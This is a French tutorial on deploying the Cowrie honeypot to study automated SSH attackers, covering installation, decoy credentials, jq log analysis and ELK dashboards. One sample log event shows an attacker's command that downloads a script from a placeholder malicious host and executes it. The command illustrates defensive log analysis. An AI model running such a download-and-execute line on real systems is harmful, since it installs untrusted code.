Défense & threat intelligence
🍯 Honeypot avancé avec Cowrie
Cowrie simule un serveur SSH et Telnet vulnérable pour attirer, piéger et enregistrer les attaquants automatisés. Un excellent laboratoire d'analyse comportementale : on observe les techniques d'intrusion en conditions réelles, on collecte des IOCs et on renforce sa posture défensive. Ce guide couvre l'installation (dont Docker), la configuration, puis la lecture et l'analyse des logs JSON.
Cadre légal & éthique — usage défensif
Un honeypot se déploie exclusivement sur votre propre infrastructure, dans un but de recherche et de défense. Ne l'utilisez jamais pour héberger un service réellement exploitable ni pour rebondir vers des tiers : un pot de miel qui laisse fuir des connexions sortantes peut vous rendre complice d'une attaque. Encadrez la collecte de données : selon la juridiction, capturer des adresses IP et des sessions relève de données personnelles (en Europe, principes du RGPD) — documentez la finalité, limitez la conservation et isolez le système. En France, l'accès frauduleux à un STAD reste réprimé (art. 323-1 et suivants du Code pénal) : votre leurre ne vous autorise pas à attaquer en retour.
Principe & schéma
Cowrie est un honeypot à moyenne interaction : il émule un vrai shell Unix (commandes, système de fichiers factice, téléchargements) sans jamais exposer votre machine réelle. L'attaquant croit avoir compromis un serveur, exécute ses commandes habituelles, et chacune de ses actions est journalisée pour analyse.
Le flux se résume en trois temps : l'attaquant cible un service exposé, le honeypot le leurre et enregistre tout, puis vous exploitez les logs collectés.
┌──────────────┐ ┌─────────────────────────┐ ┌────────────────────┐
│ ATTAQUANT │ │ HONEYPOT COWRIE │ │ ANALYSE │
│ │ │ (votre infra isolée) │ │ │
│ • bruteforce │──SSH──▶│ • faux shell SSH/Telnet │──logs─▶│ • parsing JSON │
│ • bots/scans │ 22/2222│ • FS factice, commandes │ JSON │ • géoloc des IP │
│ • malwares │◀──────▶│ • capture des payloads │ │ • IOCs / TTPs │
│ │ leurre │ • enregistre la session │ │ • dashboards ELK │
└──────────────┘ └─────────────────────────┘ └────────────────────┘
Curieux Aucun accès à la vraie machine Renforcement défensif
🛠️ Au programme
J'ai installé, pour tester, un honeypot afin de comprendre et identifier certaines attaques, repérer les actions récurrentes et observer comment les attaquants agissent sur un serveur SSH. Un excellent exercice de surveillance proactive et d'analyse comportementale des threat actors.
🐳Installation
Déploiement sur une VM, en natif ou via Docker : mise en route rapide, isolation complète et gestion simple des versions.
🔐Configuration du leurre
Faux accès SSH avec mots de passe faibles pour attirer le bruteforce et simuler un système Ubuntu/CentOS crédible.
📊Enregistrement
Journalisation complète des commandes, géolocalisation des IP source, capture des payloads et des fichiers transférés.
🌐Trafic réseau
Suivi des connexions initiées depuis le honeypot pour détecter des communications C&C et l'infrastructure adverse.
🕵️Analyse comportementale
Ma partie favorite : schémas récurrents, TTPs (Tactics, Techniques, Procedures) et documentation des méthodes observées.
📈Visualisation
Exploitation des logs dans une stack ELK / Kibana pour des tableaux de bord et de l'alerting en temps réel.
Installation pas-à-pas (native)
Cowrie s'installe idéalement sur une VM dédiée (Debian/Ubuntu), sous un utilisateur non privilégié. Il ne doit jamais tourner en root. Suivez les étapes dans l'ordre.
Installez Python, les outils de compilation et virtualenv.
sudo apt update && sudo apt install -y git python3-venv python3-dev libssl-dev libffi-dev build-essentialCréez un compte de service sans privilèges pour cloisonner le honeypot.
sudo adduser --disabled-password --gecos "" cowriesudo su - cowrieClonez le dépôt officiel du projet.
git clone https://github.com/cowrie/cowrie.gitcd cowrieIsolez les dépendances dans un virtualenv puis installez-les.
python3 -m venv cowrie-envsource cowrie-env/bin/activatepip install --upgrade pip && pip install -r requirements.txtPartez du modèle fourni : Cowrie lit cowrie.cfg en priorité, sans écraser le dist.
cp etc/cowrie.cfg.dist etc/cowrie.cfgLancez le honeypot, vérifiez son état, puis consultez les logs.
bin/cowrie startbin/cowrie statusCowrie écoute sur 2222 (non privilégié). Redirigez le vrai port 22 via iptables pour recevoir les scans opportunistes, tout en gardant votre SSH d'admin sur un autre port.
sudo iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-port 2222🐳 Déploiement Docker (option rapide)
Docker offre le déploiement le plus rapide et le meilleur cloisonnement. L'image officielle est prête à l'emploi ; montez un volume persistant pour conserver les logs.
docker pull cowrie/cowrie:latestRécupère l'image officielle la plus récente de Cowrie.
docker run -d --name cowrie -p 2222:2222 -p 2223:2223 -v $(pwd)/cowrie-logs:/cowrie/cowrie-git/var/log/cowrie cowrie/cowrie:latestLance le conteneur en tâche de fond, expose SSH (2222) et Telnet (2223) et persiste les logs sur l'hôte.
docker logs -f cowrieSuit en direct la sortie du conteneur pour vérifier le démarrage.
Pour orchestrer Cowrie avec une stack d'analyse, un docker-compose.yml minimal :
services: cowrie: image: cowrie/cowrie:latest restart: unless-stopped ports: - "2222:2222" # SSH émulé - "2223:2223" # Telnet émulé volumes: - ./cowrie-logs:/cowrie/cowrie-git/var/log/cowrie - ./cowrie.cfg:/cowrie/cowrie-git/etc/cowrie.cfg networks: [honeynet] networks: honeynet: driver: bridge # réseau dédié, isolé du reste
docker compose up -dDémarre l'ensemble de la stack décrite dans le fichier compose.
bridge dédié isolé du LAN, conteneur en read-only quand c'est possible, et aucune capacité privilégiée (--cap-drop ALL).🔐 Configuration & stratégies de leurre
Toute la personnalisation se fait dans etc/cowrie.cfg et dans les fichiers d'authentification. L'objectif : un leurre assez crédible pour tromper les bots comme les attaquants manuels.
🎣 Rendre le leurre crédible
- Comptes à mots de passe évidents :
root/123456,admin/admin. - Nom d'hôte et bannière SSH réalistes (ex. serveur Ubuntu).
- Système de fichiers factice peuplé (fake filesystem).
- Service Telnet activé en parallèle pour les botnets IoT.
⚙️ Paramètres clés
[ssh] enabled = trueet port2222.[telnet] enabled = truesur2223.[output_jsonlog]pour le journal exploitable.hostnameetkernel_versioncrédibles.
La politique d'authentification (quels couples login/mot de passe sont acceptés) se règle via userdb.txt :
cp etc/userdb.example etc/userdb.txtCrée la base d'utilisateurs à partir de l'exemple fourni.
# etc/userdb.txt — format : login:x:mot_de_passe root:x:123456 root:x:password admin:x:admin # '*' accepte n'importe quel mot de passe pour ce login root:x:* # '!' refuse explicitement (utile pour observer les échecs) root:x:!root
Après toute modification, redémarrez le honeypot pour appliquer la configuration :
bin/cowrie restartRecharge la configuration et relance les services d'écoute.
📄 Lecture & analyse des logs JSON
Cowrie écrit deux journaux principaux dans var/log/cowrie/ : cowrie.log (texte lisible) et surtout cowrie.json — une ligne JSON par événement, idéale pour l'automatisation. Chaque événement porte un champ eventid qui décrit sa nature.
Un événement de connexion et une tentative de login ressemblent à ceci :
{"eventid":"cowrie.session.connect", "src_ip":"185.234.219.x",
"src_port":52344, "dst_port":2222, "session":"a1b2c3",
"timestamp":"2026-08-25T02:14:07Z"}
{"eventid":"cowrie.login.success", "username":"root",
"password":"123456", "src_ip":"185.234.219.x", "session":"a1b2c3"}
{"eventid":"cowrie.command.input",
"input":"wget http://malic.example/x.sh; chmod +x x.sh; ./x.sh",
"src_ip":"185.234.219.x", "session":"a1b2c3"}
Les événements les plus utiles à filtrer :
cowrie.session.connect— nouvelle connexion (IP, port, session).cowrie.login.success/cowrie.login.failed— couples login/mot de passe testés.cowrie.command.input— chaque commande tapée par l'attaquant.cowrie.session.file_download— fichiers/malwares récupérés (avec hash).cowrie.client.version— empreinte du client SSH (fingerprinting du bot).
Quelques commandes d'analyse en ligne, avec jq :
jq -r 'select(.eventid=="cowrie.command.input") | .input' var/log/cowrie/cowrie.jsonExtrait toutes les commandes tapées par les attaquants, une par ligne.
jq -r 'select(.eventid=="cowrie.login.success") | "\(.username):\(.password)"' var/log/cowrie/cowrie.json | sort | uniq -c | sort -rnClasse les couples login/mot de passe réussis par fréquence.
jq -r 'select(.eventid=="cowrie.session.connect") | .src_ip' var/log/cowrie/cowrie.json | sort | uniq -c | sort -rn | head -20Donne le top 20 des adresses IP source les plus actives.
jq -r 'select(.eventid=="cowrie.session.file_download") | .shasum' var/log/cowrie/cowrie.json | sort -uListe les empreintes SHA des fichiers déposés — à soumettre à VirusTotal.
tail -f var/log/cowrie/cowrie.json | jq .Suit les événements en temps réel avec une mise en forme lisible.
🕵️ Analyse comportementale
Une fois les logs collectés, l'objectif est de dégager des schémas récurrents et d'identifier les TTPs (Tactics, Techniques, Procedures) des attaquants observés.
⏱️Temporalité
Heures de pointe des campagnes, pics de bruteforce et répartition géographique des sources.
🛠️Outillage
Frameworks et scripts employés (scanners, droppers, scripts custom) reconnaissables aux commandes tapées.
🎯Objectifs
Finalités visées : cryptomining, enrôlement dans un botnet, vol de données, rebond.
📦Payloads
Analyse des fichiers déposés, des URLs de C&C et des tentatives d'exfiltration.
🔁Séquences
Enchaînements types : reconnaissance système, désactivation de sécurité, persistance.
🌐Communications sortantes
Domaines contactés et serveurs de commande révélés par les connexions initiées.
📈 Visualisation ELK / Kibana
Le format JSON de Cowrie s'ingère naturellement dans une stack ELK (Elasticsearch + Logstash + Kibana). L'idée : envoyer les événements vers Elasticsearch, puis construire des dashboards Kibana pour visualiser l'activité.
Cowrie peut écrire directement dans Elasticsearch via son plugin de sortie (section [output_elasticsearch] du cowrie.cfg), ou passer par Filebeat/Logstash qui lisent cowrie.json.
Filebeat suit le fichier JSON et l'expédie vers Logstash/Elasticsearch, avec parsing du timestamp et enrichissement géographique.
filebeat setup && filebeat -eUn filtre geoip dans Logstash transforme chaque src_ip en coordonnées pour une carte des attaques.
Des dashboards Cowrie prêts à l'emploi existent sur GitHub : carte mondiale des sources, top mots de passe, top commandes, timeline des sessions, top pays.
Idées de visualisations pertinentes :
- Carte géographique en temps réel des IP attaquantes (GeoIP).
- Nuage / histogramme des mots de passe les plus tentés.
- Top des commandes exécutées après compromission.
- Timeline des connexions pour repérer les campagnes coordonnées.
- Tableau des fichiers téléchargés avec leurs hashes (pivot IOC).
- Alerting Kibana/Grafana sur des activités critiques (dépôt de binaire, C&C connu).
Autres solutions de visualisation possibles selon le contexte :
Elastic Stack
Logstash + Elasticsearch + Kibana : analyse granulaire et cartographie, la voie recommandée pour débuter (gratuite).
Wazuh
SIEM open-source avec tableaux de bord adaptés aux honeypots et corrélation d'alertes.
Grafana
Dashboards personnalisés et alerting en temps réel au-dessus d'Elasticsearch ou d'une base de séries temporelles.
Splunk
Solution entreprise avec apps dédiées à la threat intelligence pour les environnements déjà équipés.
🎯 L'intérêt stratégique
Comprendre les techniques adverses en conditions réelles, collecter des données sur des attaques authentiques, et affiner ses défenses en fonction des menaces réellement observées.
Ce que ça apporte
- Threat Intelligence : nouveaux IOCs et TTPs.
- Formation SOC : cas d'usage réels pour les équipes.
- Amélioration défensive : adaptation des règles de détection.
- Veille : observation de l'évolution des techniques.
Ce que ça révèle
- Les dictionnaires de mots de passe en circulation.
- Les commandes de reconnaissance systématiques.
- L'infrastructure de distribution des malwares.
- Les serveurs de Command & Control actifs.
💡 Conseils d'expert
🔧 Optimisations
- Segmentation réseau : isolez totalement le honeypot.
- Rotation des logs : évitez la saturation du stockage.
- Alerting intelligent sur les activités critiques.
- Sauvegarde régulière des données d'analyse.
🛡️ Sécurité du dispositif
- Jamais de connexion sortante libre depuis le leurre.
- Cowrie tourne sous un compte non privilégié.
- SSH d'administration sur un autre port, filtré par IP.
- Bac à sable séparé pour analyser les payloads.
Pour aller plus loin